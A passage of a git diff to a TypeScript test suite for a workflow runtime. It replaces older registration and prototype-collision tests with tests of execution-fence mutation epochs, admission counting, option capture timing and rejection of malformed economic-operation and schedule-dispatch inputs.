+    inputSchema: z.object({ value: z.string() }),
+    outputSchema: z.object({ value: z.string() }),
+  })
+    .then(echo)
+    .commit();
 
-  it('returns null status for unknown runs', async () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
+  return { runtime, counters };
+}
 
-    // #when / #then
-    expect(await runtime.status('echo', 'missing-run')).toBeNull();
+function cDeferred() {
+  let resolve!: () => void;
+  const promise = new Promise<void>((done) => {
+    resolve = done;
   });
+  return { promise, resolve };
+}
 
-  it('lists registered workflow ids', () => {
-    // #given
-    const { runtime } = buildRuntime(new InMemoryStore());
-
-    // #when / #then
-    expect(runtime.workflowIds().sort()).toEqual(['demo-approval', 'echo']);
+async function cOwnedRuntime(
+  domain: 'default' | 'background' = 'default',
+  provider?: RequestContextProvider,
+) {
+  const sql = openSqlite() as ReturnType<typeof openSqlite> & { close(): void };
+  const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase;
+  const db = binding as D1DatabaseBinding;
+  const storage = createD1Storage({
+    binding: db,
+    ...(domain === 'background'
+      ? { domains: createBackgroundTaskD1Domains({ binding: db }) }
+      : {}),
+  });
+  await storage.init();
+  const fence = new ExecutionFenceStore(binding);
+  await fence.seed('open');
+  for (let index = 0; index < 2; index++) {
+    const before = await fence.read();
+    const draining = await fence.transition({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+      advanceMutationEpoch: true,
+    });
+    await fence.transition({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: draining.mutationEpoch,
+      expectedRevision: draining.transitionRevision,
+    });
+  }
+  const workflows = (await storage.getStore(
+    'workflows',
+  )) as FencedWorkflowsStorageD1;
+  const native = workflows[FENCED_WORKFLOW_STORAGE];
+  if (!native) throw new Error('missing owned capability');
+  const counts = { admission: 0, terminalization: 0, callback: 0 };
+  const capability: FencedWorkflowAdmissionCapability = {
+    ...native,
+    withInitialAdmission: (input, create) => {
+      counts.admission++;
+      return native.withInitialAdmission(input, create);
+    },
+    terminalizeInitialAdmission: (input) => {
+      counts.terminalization++;
+      return native.terminalizeInitialAdmission(input);
+    },
+  };
+  Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+    value: capability,
+    configurable: true,
   });
+  const app = init(
+    { storage },
+    {
+      startIdempotency: 'none',
+      executionFence: fence,
+      requestContextForRun: provider,
+    },
+  );
+  const execute = vi.fn(
+    async ({ inputData }: { inputData: { value: string } }) => inputData,
+  );
+  const workflow = app
+    .createWorkflow({
+      id: 'c-workflow',
+      inputSchema: z.object({ value: z.string() }),
+      outputSchema: z.object({ value: z.string() }),
+      stateSchema: z.object({ flag: z.string().optional() }),
+    })
+    .then(
+      app.createStep({
+        id: 'c-step',
+        inputSchema: z.object({ value: z.string() }),
+        outputSchema: z.object({ value: z.string() }),
+        execute,
+      }),
+    )
+    .commit();
+  const callback = () => {
+    counts.callback++;
+  };
+  return {
+    ...app,
+    sql,
+    storage,
+    workflows,
+    fence,
+    counts,
+    workflow,
+    execute,
+    callback,
+  };
+}
 
-  it('rejects duplicate workflow ids at registration', () => {
-    // #given
-    const { createWorkflow } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    createWorkflow({
-      id: 'wf',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
+function cOptions(runId = 'c-run'): StartRunOptions {
+  return {
+    runId,
+    inputData: { value: 'original' },
+    initialState: { flag: 'original' },
+    storedRequestContext: { 'test.c': 'original' },
+    attemptToken: 'attempt-original',
+    deadlineMs: 50,
+    economicOperations: [
+      { id: 'operation-original', settlementState: 'settled' },
+    ],
+    scheduleDispatch: {
+      scheduleId: 'schedule-original',
+      dispatchId: 'dispatch-original',
+    },
+    idempotencyKey: 'key-original',
+    requestedBy: 'operator-1',
+    requestedByKind: 'human',
+    mutationEpoch: 2,
+    startIdentity: {
+      owner: { kind: 'human', id: 'operator-1' },
+      target: { kind: 'workflow', id: 'c-workflow' },
+    },
+    onPreparedStartIdentity: vi.fn(),
+  };
+}
+
+function cPrimitive(
+  value: string,
+  mode: 'stable' | 'alternating' | 'second-throw',
+) {
+  return vi
+    .fn<() => string>()
+    .mockReturnValueOnce(value)
+    .mockImplementation(() => {
+      if (mode === 'second-throw') throw new Error('second primitive read');
+      return mode === 'alternating' ? '' : value;
     });
+}
 
-    // #when / #then
-    expect(() =>
-      createWorkflow({
-        id: 'wf',
-        inputSchema: z.object({}),
-        outputSchema: z.object({}),
-      }),
-    ).toThrowError(/duplicate workflow id/);
-  });
+function cObservedOptions(values: StartRunOptions) {
+  const getters = Object.fromEntries(
+    Object.entries(values).map(([key, value]) => [key, vi.fn(() => value)]),
+  );
+  const source = {} as StartRunOptions;
+  for (const [key, get] of Object.entries(getters))
+    Object.defineProperty(source, key, {
+      get,
+      configurable: true,
+      enumerable: false,
+    });
+  return { source, getters };
+}
 
-  it('rejects duplicate agent ids at registration', () => {
-    // #given
-    const { runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    runtime.registerAgent(runtimeAgent('writer'));
+type CEconomicShape =
+  | 'leading'
+  | 'interior'
+  | 'trailing'
+  | 'all-hole'
+  | 'dense'
+  | 'inherited'
+  | 'empty';
+
+function cEconomicArray(shape: CEconomicShape) {
+  const operations: Array<{ id: string; settlementState: string }> =
+    shape === 'all-hole'
+      ? new Array(3)
+      : shape === 'empty'
+        ? []
+        : [
+            { id: 'first', settlementState: 'settled' },
+            { id: 'second', settlementState: 'held' },
+            { id: 'third', settlementState: 'disputed' },
+          ];
+  if (shape === 'inherited') {
+    const prototype = Object.create(Array.prototype);
+    Object.defineProperty(prototype, '1', { value: operations[1] });
+    Object.setPrototypeOf(operations, prototype);
+    delete operations[1];
+  } else if (
+    shape === 'leading' ||
+    shape === 'interior' ||
+    shape === 'trailing'
+  ) {
+    delete operations[{ leading: 0, interior: 1, trailing: 2 }[shape]];
+  }
+  return operations;
+}
 
-    // #when / #then
-    expect(() => runtime.registerAgent(runtimeAgent('writer'))).toThrowError(
-      /duplicate agent id/,
-    );
+describe('C economic format safety', () => {
+  it.each(
+    (['default', 'background'] as const).flatMap((domain) =>
+      (['leading', 'interior', 'trailing', 'all-hole'] as const).map(
+        (shape) => ({ domain, shape }),
+      ),
+    ),
+  )('C refuses sparse economic operations before start effects ($domain, $shape)', async ({
+    domain,
+    shape,
+  }) => {
+    const provider = vi.fn(() => ({}));
+    const f = await cOwnedRuntime(domain, provider);
+    const read = vi.spyOn(f.fence, 'read');
+    const create = vi.spyOn(f.workflow, 'createRun');
+    const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot');
+    try {
+      const error = await f.runtime
+        .start('c-workflow', {
+          ...cOptions(),
+          economicOperations: cEconomicArray(shape),
+        })
+        .catch((cause: unknown) => cause);
+      expect(error).toBeInstanceOf(Error);
+      expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(read).not.toHaveBeenCalled();
+      expect(provider).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(persist).not.toHaveBeenCalled();
+      expect(f.execute).not.toHaveBeenCalled();
+      expect(
+        await f.workflows.loadWorkflowSnapshot({
+          workflowName: 'c-workflow',
+          runId: 'c-run',
+        }),
+      ).toBeNull();
+    } finally {
+      f.sql.close();
+    }
   });
 
-  it('exposes every registered agent to workflow execution', async () => {
-    // #given
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const agents = [
-      runtimeAgent('a'),
-      runtimeAgent('b'),
-      runtimeAgent('__proto__'),
-      runtimeAgent('runtime-agent:__proto__'),
-    ];
-    for (const agent of agents) runtime.registerAgent(agent);
-    const resolveAgents = createStep({
-      id: 'resolve-agents',
-      inputSchema: z.object({}),
-      outputSchema: z.object({
-        firstByKey: z.string(),
-        secondById: z.string(),
-        collisionById: z.string(),
-        prefixedByKey: z.string(),
-        workflowByKey: z.string(),
-      }),
-      execute: async ({ mastra }) => ({
-        firstByKey: mastra.getAgent('a').id,
-        secondById: mastra.getAgentById('b').id,
-        collisionById: mastra.getAgentById('__proto__').id,
-        prefixedByKey: mastra.getAgent('runtime-agent:__proto__').id,
-        workflowByKey: mastra.getWorkflow('agent-resolution').id,
-      }),
+  it('C refuses sparse capture before reading later economic entries', async () => {
+    const f = await cOwnedRuntime();
+    const later = vi.fn(() => {
+      throw new Error('later entry must not be read');
     });
-    createWorkflow({
-      id: 'agent-resolution',
-      inputSchema: z.object({}),
-      outputSchema: z.object({
-        firstByKey: z.string(),
-        secondById: z.string(),
-        collisionById: z.string(),
-        prefixedByKey: z.string(),
-        workflowByKey: z.string(),
-      }),
-    })
-      .then(resolveAgents)
-      .commit();
+    const operations = new Array(2);
+    operations[1] = {
+      get id() {
+        return later();
+      },
+      settlementState: 'held',
+    };
+    try {
+      const error = await f.runtime
+        .start('c-workflow', { ...cOptions(), economicOperations: operations })
+        .catch((cause: unknown) => cause);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(later).not.toHaveBeenCalled();
+      expect(f.execute).not.toHaveBeenCalled();
+    } finally {
+      f.sql.close();
+    }
+  });
 
-    // #when
-    const summary = await runtime.start('agent-resolution', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
+  it.each(
+    (['default', 'background'] as const).flatMap((domain) =>
+      (['dense', 'inherited', 'empty'] as const).map((shape) => ({
+        domain,
+        shape,
+      })),
+    ),
+  )('C round-trips dense economic arrays on owned storage ($domain, $shape)', async ({
+    domain,
+    shape,
+  }) => {
+    const f = await cOwnedRuntime(domain);
+    const operations = cEconomicArray(shape);
+    const expected = JSON.parse(JSON.stringify(operations));
+    try {
+      await expect(
+        f.runtime.start('c-workflow', {
+          ...cOptions(),
+          economicOperations: operations,
+        }),
+      ).resolves.toMatchObject({ status: 'success' });
+      const snapshot = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'c-workflow',
+        runId: 'c-run',
+      });
+      expect(snapshot?.requestContext?.['flowsafe.runLifecycle']).toMatchObject(
+        { economicOperations: expected },
+      );
+      expect((await f.runtime.status('c-workflow', 'c-run'))?.status).toBe(
+        'success',
+      );
+      expect(f.execute).toHaveBeenCalledOnce();
+    } finally {
+      f.sql.close();
+    }
+  });
 
-    // #then
-    expect(summary).toMatchObject({
-      status: 'success',
-      result: {
-        firstByKey: 'a',
-        secondById: 'b',
-        collisionById: '__proto__',
-        prefixedByKey: 'runtime-agent:__proto__',
-        workflowByKey: 'agent-resolution',
-      },
-    });
+  it.each(
+    (['default', 'background'] as const).flatMap((domain) =>
+      (['leading', 'interior', 'trailing', 'all-hole'] as const).map(
+        (shape) => ({ domain, shape }),
+      ),
+    ),
+  )('C sparse resume preserves the readable suspended snapshot ($domain, $shape)', async ({
+    domain,
+    shape,
+  }) => {
+    const provider = vi.fn(() => ({}));
+    const f = await cOwnedRuntime(domain, provider);
+    const resumed = vi.fn();
+    const schema = z.object({ value: z.string() });
+    const workflow = f
+      .createWorkflow({
+        id: 'c-sparse-resume',
+        inputSchema: schema,
+        outputSchema: schema,
+      })
+      .then(
+        f.createStep({
+          id: 'gate',
+          inputSchema: schema,
+          outputSchema: schema,
+          suspendSchema: z.object({}),
+          resumeSchema: z.object({ ok: z.boolean() }),
+          execute: async ({ inputData, resumeData, suspend }) => {
+            if (!resumeData) return suspend({});
+            resumed();
+            return inputData;
+          },
+        }),
+      )
+      .commit();
+    try {
+      expect(
+        (
+          await f.runtime.start(workflow.id, {
+            runId: 'resume-run',
+            mutationEpoch: 2,
+            inputData: { value: 'original' },
+          })
+        ).status,
+      ).toBe('suspended');
+      const before = await f.workflows.loadWorkflowSnapshot({
+        workflowName: workflow.id,
+        runId: 'resume-run',
+      });
+      const create = vi.spyOn(workflow, 'createRun');
+      const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot');
+      provider.mockClear();
+      const error = await f.runtime
+        .resume(workflow.id, 'resume-run', {
+          step: 'gate',
+          resumeData: { ok: true },
+          economicOperations: cEconomicArray(shape),
+        })
+        .catch((cause: unknown) => cause);
+      expect(error).toBeInstanceOf(Error);
+      expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(provider).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(persist).not.toHaveBeenCalled();
+      expect(resumed).not.toHaveBeenCalled();
+      expect(
+        await f.workflows.loadWorkflowSnapshot({
+          workflowName: workflow.id,
+          runId: 'resume-run',
+        }),
+      ).toEqual(before);
+      expect((await f.runtime.status(workflow.id, 'resume-run'))?.status).toBe(
+        'suspended',
+      );
+      expect(
+        (
+          await f.runtime.resume(workflow.id, 'resume-run', {
+            step: 'gate',
+            resumeData: { ok: true },
+            economicOperations: cEconomicArray('dense'),
+          })
+        ).status,
+      ).toBe('success');
+    } finally {
+      f.sql.close();
+    }
   });
+});
 
-  it('passes the runtime pubsub to registered agents', async () => {
-    // #given
-    const pubsub = createHostPubSub();
-    const publish = vi.spyOn(pubsub, 'publish');
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', pubsub, executionFence: 'none' },
-    );
-    const agent = runtimeAgent('writer');
-    runtime.registerAgent(agent);
-    const noop = createStep({
-      id: 'noop',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      execute: async () => ({}),
-    });
-    createWorkflow({
-      id: 'pubsub-agent',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(noop)
-      .commit();
-    await runtime.start('pubsub-agent', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    publish.mockClear();
+describe('C Runtime capture', () => {
+  it.each(
+    (['default', 'background'] as const).flatMap((domain) =>
+      [undefined, 1, 2, 3].map((epoch) => ({ domain, epoch })),
+    ),
+  )('C enforces active mutation epoch at Runtime start ($domain, $epoch)', async ({
+    domain,
+    epoch,
+  }) => {
+    const f = await cOwnedRuntime(domain);
+    try {
+      expect(await f.fence.read()).toMatchObject({
+        state: 'open',
+        mutationEpoch: 2,
+        requireMutationEpoch: true,
+      });
+      const runId = `epoch-${epoch ?? 'missing'}`;
+      const options = {
+        ...cOptions(runId),
+        onPreparedStartIdentity: f.callback,
+      };
+      if (epoch === undefined)
+        delete (options as { mutationEpoch?: number }).mutationEpoch;
+      else Object.assign(options, { mutationEpoch: epoch });
+      if (epoch !== 2) {
+        await expect(f.runtime.start('c-workflow', options)).rejects.toThrow(
+          'mutation epoch does not match',
+        );
+        expect(f.execute).not.toHaveBeenCalled();
+        expect(f.counts).toEqual({
+          callback: 0,
+          admission: 0,
+          terminalization: 0,
+        });
+        return;
+      }
+      await expect(
+        f.runtime.start('c-workflow', options),
+      ).resolves.toMatchObject({ status: 'success' });
+      const snapshot = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'c-workflow',
+        runId,
+      });
+      expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({
+        version: 2,
+        requestedBy: 'operator-1',
+        requestedByKind: 'human',
+        startToken: expect.any(String),
+        mutationEpoch: 2,
+        startIdentity: cOptions().startIdentity,
+        attemptToken: 'attempt-original',
+        resumeCounts: [],
+      });
+      for (const key of [
+        'mutationEpoch',
+        'startIdentity',
+        'agentStart',
+        'execution',
+        'onPreparedStartIdentity',
+        'runOwnerGuard',
+        'flowsafe.initialAdmission',
+      ])
+        expect(snapshot?.requestContext).not.toHaveProperty(key);
+      expect(f.execute).toHaveBeenCalledOnce();
+      expect(f.counts).toEqual({
+        callback: 1,
+        admission: 1,
+        terminalization: 0,
+      });
+    } finally {
+      f.sql.close();
+    }
+  });
 
-    // #when
-    const agentPubsub = agent.getPubSub();
-    expect(agentPubsub).toBeDefined();
-    await agentPubsub?.publish('runtime-agent-test', {
-      type: 'runtime-agent-test',
-      data: agent.id,
-      runId: 'runtime-agent-test',
+  for (const [title, counter] of [
+    ['C invokes preparation only after provider success', 'callback'],
+    ['C admits each prepared start through the owned capability', 'admission'],
+    [
+      'C keeps terminalization exclusively in owning recovery',
+      'terminalization',
+    ],
+  ] as const) {
+    it.each([
+      'default',
+      'background',
+    ] as const)(`${title} (%s)`, async (domain) => {
+      let failProvider = false;
+      const failure = new Error('C provider failure');
+      const f = await cOwnedRuntime(domain, () => {
+        if (failProvider) throw failure;
+        return {};
+      });
+      try {
+        let admitted = 0;
+        for (const phase of [
+          'normal',
+          'failure',
+          'recovery',
+          'failed-step',
+        ] as const) {
+          const create = f.workflow.createRun.bind(f.workflow);
+          let restore = () => {};
+          if (phase === 'recovery') {
+            const spy = vi
+              .spyOn(f.workflow, 'createRun')
+              .mockImplementation(async (...args) => {
+                const run = await create(...args);
+                const start = run.start.bind(run);
+                vi.spyOn(run, 'start').mockImplementation(
+                  async (...startArgs) => {
+                    await start(...startArgs);
+                    throw new Error('lost start result');
+                  },
+                );
+                return run;
+              });
+            restore = () => spy.mockRestore();
+          }
+          if (phase === 'failed-step')
+            f.execute.mockRejectedValueOnce(new Error('step failed'));
+          failProvider = phase === 'failure';
+          const runId = `c-${phase}`;
+          let outcome: RunSummary | undefined;
+          try {
+            const pending = f.runtime.start('c-workflow', {
+              ...cOptions(runId),
+              onPreparedStartIdentity: f.callback,
+            });
+            if (phase === 'failure')
+              await expect(pending).rejects.toBe(failure);
+            else outcome = await pending;
+          } finally {
+            restore();
+            if (phase !== 'failure') admitted++;
+            expect(f.counts[counter]).toBe(
+              counter === 'terminalization' ? 0 : admitted,
+            );
+            expect(f.counts).toEqual({
+              callback: admitted,
+              admission: admitted,
+              terminalization: 0,
+            });
+          }
+          const snapshot = await f.workflows.loadWorkflowSnapshot({
+            workflowName: 'c-workflow',
+            runId,
+          });
+          if (phase === 'failure') expect(snapshot).toBeNull();
+          else {
+            expect(outcome?.status).toBe(
+              phase === 'failed-step' ? 'failed' : 'success',
+            );
+            expect(
+              snapshot?.requestContext?.['flowsafe.runProvenance'],
+            ).toEqual({
+              version: 2,
+              requestedBy: 'operator-1',
+              requestedByKind: 'human',
+              startToken: expect.any(String),
+              mutationEpoch: 2,
+              startIdentity: cOptions().startIdentity,
+              attemptToken: 'attempt-original',
+              resumeCounts: [],
+            });
+            expect(snapshot?.requestContext).not.toHaveProperty(
+              'flowsafe.initialAdmission',
+            );
+            expect((await f.runtime.status('c-workflow', runId))?.status).toBe(
+              outcome?.status,
+            );
+          }
+        }
+      } finally {
+        f.sql.close();
+      }
     });
+  }
 
-    // #then
-    expect(publish).toHaveBeenCalledOnce();
+  it('C captures Runtime options before the fence wait', async () => {
+    const providerEntered = cDeferred();
+    const providerRelease = cDeferred();
+    const f = await cOwnedRuntime('default', async () => {
+      providerEntered.resolve();
+      await providerRelease.promise;
+      return {};
+    });
+    const entered = cDeferred();
+    const release = cDeferred();
+    const read = f.fence.read.bind(f.fence);
+    const fenceRead = vi
+      .spyOn(f.fence, 'read')
+      .mockImplementationOnce(async () => {
+        entered.resolve();
+        await release.promise;
+        return read();
+      });
+    const clock = vi.spyOn(Date, 'now').mockReturnValue(1000);
+    const { source, getters } = cObservedOptions(cOptions());
+    const pending = f.runtime.start('c-workflow', source);
+    void pending.catch(() => undefined);
+    try {
+      await entered.promise;
+      for (const getter of Object.values(getters))
+        expect(getter).toHaveBeenCalledTimes(1);
+      expect(f.execute).not.toHaveBeenCalled();
+      for (const getter of Object.values(getters))
+        getter.mockImplementation(() => {
+          throw new Error('late Runtime option read');
+        });
+      clock.mockReturnValue(2000);
+      release.resolve();
+      await providerEntered.promise;
+      clock.mockReturnValue(3000);
+      providerRelease.resolve();
+      expect(await pending).toMatchObject({
+        runId: 'c-run',
+        status: 'success',
+        requestedBy: 'operator-1',
+        deadlineAt: 2050,
+      });
+      const snapshot = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'c-workflow',
+        runId: 'c-run',
+      });
+      expect(snapshot?.requestContext).toMatchObject({
+        'test.c': 'original',
+        'flowsafe.runLifecycle': {
+          deadlineAt: 2050,
+          scheduleDispatch: {
+            scheduleId: 'schedule-original',
+            dispatchId: 'dispatch-original',
+          },
+          economicOperations: [
+            { id: 'operation-original', settlementState: 'settled' },
+          ],
+        },
+      });
+      expect(f.execute.mock.calls[0]?.[0].inputData).toEqual({
+        value: 'original',
+      });
+      for (const getter of Object.values(getters))
+        expect(getter).toHaveBeenCalledTimes(1);
+      expect(Object.isFrozen(source)).toBe(false);
+    } finally {
+      release.resolve();
+      providerRelease.resolve();
+      await pending.catch(() => undefined);
+      clock.mockRestore();
+      fenceRead.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it('C captures Runtime options before waiting for the run lock', async () => {
+    const entered = cDeferred();
+    const release = cDeferred();
+    const f = await cOwnedRuntime('default', async () => {
+      entered.resolve();
+      await release.promise;
+      return {};
+    });
+    const first = f.runtime.start('c-workflow', cOptions());
+    void first.catch(() => undefined);
+    await entered.promise;
+    const queued = cDeferred();
+    const nativeSet = Map.prototype.set;
+    const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function (
+      this: Map<unknown, unknown>,
+      key,
+      value,
+    ) {
+      if (key === 'c-workflow:c-run' && value instanceof Promise)
+        queued.resolve();
+      return nativeSet.call(this, key, value);
+    });
+    const { source, getters } = cObservedOptions(cOptions());
+    const second = f.runtime.start('c-workflow', source);
+    void second.catch(() => undefined);
+    try {
+      await queued.promise;
+      for (const getter of Object.values(getters))
+        expect(getter).toHaveBeenCalledTimes(1);
+      for (const getter of Object.values(getters))
+        getter.mockImplementation(() => {
+          throw new Error('late lock option read');
+        });
+      expect(f.execute).not.toHaveBeenCalled();
+      release.resolve();
+      expect((await first).status).toBe('success');
+      await expect(second).rejects.toBeInstanceOf(RunAlreadyExistsError);
+      for (const getter of Object.values(getters))
+        expect(getter).toHaveBeenCalledTimes(1);
+    } finally {
+      release.resolve();
+      await Promise.allSettled([first, second]);
+      set.mockRestore();
+      f.sql.close();
+    }
   });
 
   it.each([
-    '__proto__',
-    'constructor',
-  ])("executes prototype-collision workflow id '%s'", async (workflowId) => {
-    // #given
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const noop = createStep({
-      id: 'noop',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ resolved: z.string() }),
-      execute: async ({ mastra }) => ({
-        resolved: mastra.getWorkflowById(workflowId).id,
-      }),
-    });
-    createWorkflow({
-      id: workflowId,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ resolved: z.string() }),
-    })
-      .then(noop)
-      .commit();
+    ['epoch', { mutationEpoch: -1 }, InvalidMutationEpochError],
+    ['identity', { startIdentity: null }, InvalidExecutionIdentityError],
+    [
+      'target',
+      {
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator-1' },
+          target: { kind: 'workflow', id: 'other' },
+        },
+      },
+      InvalidRunRequestError,
+    ],
+    [
+      'owner',
+      {
+        startIdentity: {
+          owner: { kind: 'service', id: 'other' },
+          target: { kind: 'workflow', id: 'c-workflow' },
+        },
+      },
+      InvalidRunRequestError,
+    ],
+    ['mode', { agentStart: { threaded: 'yes' } }, InvalidRunRequestError],
+    [
+      'agent-mode',
+      {
+        startIdentity: {
+          owner: { kind: 'human', id: 'operator-1' },
+          target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+        },
+        agentStart: undefined,
+      },
+      InvalidRunRequestError,
+    ],
+    ['callback', { onPreparedStartIdentity: null }, InvalidRunRequestError],
+    [
+      'guard',
+      {
+        runOwnerGuard: {
+          owner: { kind: 'other', id: 'owner' },
+          reservationToken: 'token',
+        },
+      },
+      InvalidRunRequestError,
+    ],
+    ['requester', { requestedByKind: undefined }, InvalidRunRequestError],
+    ['deadline', { deadlineMs: -1 }, InvalidRunRequestError],
+    ['dispatch', { scheduleDispatch: [] }, Error],
+    ['operations', { economicOperations: [null] }, Error],
+  ] as const)('C validates supplied fields before fence and storage (%s)', async (_label, changes, errorType) => {
+    const f = await cOwnedRuntime();
+    const read = vi.spyOn(f.fence, 'read');
+    const create = vi.spyOn(f.workflow, 'createRun');
+    try {
+      const error = await f.runtime
+        .start('c-workflow', {
+          ...cOptions(),
+          ...changes,
+        } as StartRunOptions)
+        .catch((cause: unknown) => cause);
+      expect(error).toBeInstanceOf(errorType);
+      expect(Object.getPrototypeOf(error)).toBe(errorType.prototype);
+      if (errorType === Error)
+        expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(read).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(f.execute).not.toHaveBeenCalled();
+    } finally {
+      read.mockRestore();
+      create.mockRestore();
+      f.sql.close();
+    }
+  });
 
-    // #when
-    const summary = await runtime.start(workflowId, {
-      runId: crypto.randomUUID(),
-      inputData: {},
+  it.each([
+    ['dispatch-null', { scheduleDispatch: null }],
+    ['dispatch-array', { scheduleDispatch: [] }],
+    [
+      'schedule-empty',
+      { scheduleDispatch: { scheduleId: '', dispatchId: 'dispatch' } },
+    ],
+    [
+      'schedule-number',
+      { scheduleDispatch: { scheduleId: 2, dispatchId: 'dispatch' } },
+    ],
+    [
+      'dispatch-null-id',
+      { scheduleDispatch: { scheduleId: 'schedule', dispatchId: null } },
+    ],
+    [
+      'dispatch-path',
+      { scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'bad/path' } },
+    ],
+    ['operations-object', { economicOperations: {} }],
+    ['operation-null', { economicOperations: [null] }],
+    ['operation-array', { economicOperations: [[]] }],
+    [
+      'operation-empty-id',
+      { economicOperations: [{ id: '', settlementState: 'held' }] },
+    ],
+    [
+      'operation-number-id',
+      { economicOperations: [{ id: 2, settlementState: 'held' }] },
+    ],
+    [
+      'operation-path-id',
+      { economicOperations: [{ id: 'bad/path', settlementState: 'held' }] },
+    ],
+    [
+      'state-null',
+      { economicOperations: [{ id: 'operation', settlementState: null }] },
+    ],
+    [
+      'state-boolean',
+      { economicOperations: [{ id: 'operation', settlementState: true }] },
+    ],
+    [
+      'state-empty',
+      { economicOperations: [{ id: 'operation', settlementState: '' }] },
+    ],
+    [
+      'state-long',
+      {
+        economicOperations: [
+          { id: 'operation', settlementState: 'x'.repeat(101) },
+        ],
+      },
+    ],
+  ] as const)('C rejects malformed lifecycle input with the exact legacy error before effects: %s', async (_label, changes) => {
+    const provider = vi.fn(() => ({}));
+    const f = await cOwnedRuntime('default', provider);
+    const read = vi.spyOn(f.fence, 'read');
+    const create = vi.spyOn(f.workflow, 'createRun');
+    const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot');
+    try {
+      const error = await f.runtime
+        .start('c-workflow', { ...cOptions(), ...changes } as StartRunOptions)
+        .catch((cause: unknown) => cause);
+      expect(error).toBeInstanceOf(Error);
+      expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(read).not.toHaveBeenCalled();
+      expect(provider).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(persist).not.toHaveBeenCalled();
+      expect(f.execute).not.toHaveBeenCalled();
+    } finally {
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    null,
+    '1',
+    true,
+    -1,
+    1.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER,
+  ])('C rejects malformed economic array length before effects: %s', async (length) => {
+    const provider = vi.fn(() => ({}));
+    const f = await cOwnedRuntime('default', provider);
+    const read = vi.spyOn(f.fence, 'read');
+    const create = vi.spyOn(f.workflow, 'createRun');
+    const operations = new Proxy(cEconomicArray('dense'), {
+      get(target, key, receiver) {
+        return key === 'length' ? length : Reflect.get(target, key, receiver);
+      },
     });
+    try {
+      const error = await f.runtime
+        .start('c-workflow', { ...cOptions(), economicOperations: operations })
+        .catch((cause: unknown) => cause);
+      expect(error).toBeInstanceOf(Error);
+      expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+      expect(read).not.toHaveBeenCalled();
+      expect(provider).not.toHaveBeenCalled();
+      expect(create).not.toHaveBeenCalled();
+      expect(f.execute).not.toHaveBeenCalled();
+    } finally {
+      f.sql.close();
+    }
+  });
 
-    // #then
-    expect(summary).toMatchObject({
-      status: 'success',
-      result: { resolved: workflowId },
+  it('C keeps unattributed unkeyed starts and first getter faults without effects', async () => {
+    const f = await cOwnedRuntime();
+    const read = vi.spyOn(f.fence, 'read');
+    const fault = new Error('first Runtime read');
+    try {
+      await expect(
+        f.runtime.start('c-workflow', {
+          get runId(): string {
+            throw fault;
+          },
+        }),
+      ).rejects.toBe(fault);
+      for (const changes of [
+        {
+          scheduleDispatch: {
+            get scheduleId(): string {
+              throw fault;
+            },
+            dispatchId: 'dispatch',
+          },
+        },
+        {
+          economicOperations: [
+            {
+              get id(): string {
+                throw fault;
+              },
+              settlementState: 'settled',
+            },
+          ],
+        },
+      ])
+        await expect(
+          f.runtime.start('c-workflow', { ...cOptions(), ...changes }),
+        ).rejects.toBe(fault);
+      expect(read).not.toHaveBeenCalled();
+      expect(
+        (
+          await f.runtime.start('c-workflow', {
+            runId: 'unattributed',
+            mutationEpoch: 2,
+            inputData: { value: 'plain' },
+          })
+        ).status,
+      ).toBe('success');
+    } finally {
+      read.mockRestore();
+      f.sql.close();
+    }
+  });
+
+  it.each([
+    'stable',
+    'alternating',
+    'second-throw',
+  ] as const)('C captures each schedule dispatch primitive once before canonicalization: %s', async (mode) => {
+    const { runtime } = buildRuntime(new InMemoryStore());
